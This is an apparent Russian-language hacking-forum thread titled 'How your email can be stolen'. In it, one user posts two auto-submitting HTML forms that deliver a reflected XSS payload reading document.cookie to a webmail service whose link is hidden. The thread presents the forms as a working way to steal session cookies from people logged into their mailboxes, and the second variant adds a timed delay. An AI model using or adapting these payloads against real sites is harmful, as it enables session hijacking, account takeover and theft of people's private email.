Как у вас могут украсть мыло

[VGS_mixer]

Работает реально, по крайней мере на [Для просмотра ссылки зарегистрируйтесь]

[ХУЛИГАН]

Можно спокойно своровать кукисы, пока человек находится на своём ящике

Вот,про это расскажи,уж очень интересно знать....

[VGS_mixer]

<form method="POST" action="[Для просмотра ссылки зарегистрируйтесь];
name="explForm">
<input type=hidden name=q
value="<script>alert(document.cookie)</script>">
</form>
<script language="Javascript">
setTimeout('explForm.submit()', 1);
</script>
(эт XSS)

<form method="POST" action="[Для просмотра ссылки зарегистрируйтесь];
name="explForm">
<input type=hidden name=q
value="<script>alert (document.cookie)</script>">
</form>
<script language="Javascript">
[Для просмотра ссылки зарегистрируйтесь]("[Для просмотра ссылки зарегистрируйтесь];
setTimeout('explForm.submit()', 1000*30);
</script>
(а это POST)

[ХУЛИГАН]

У...вот с этой фичей не просёк ,придётся подумать!!!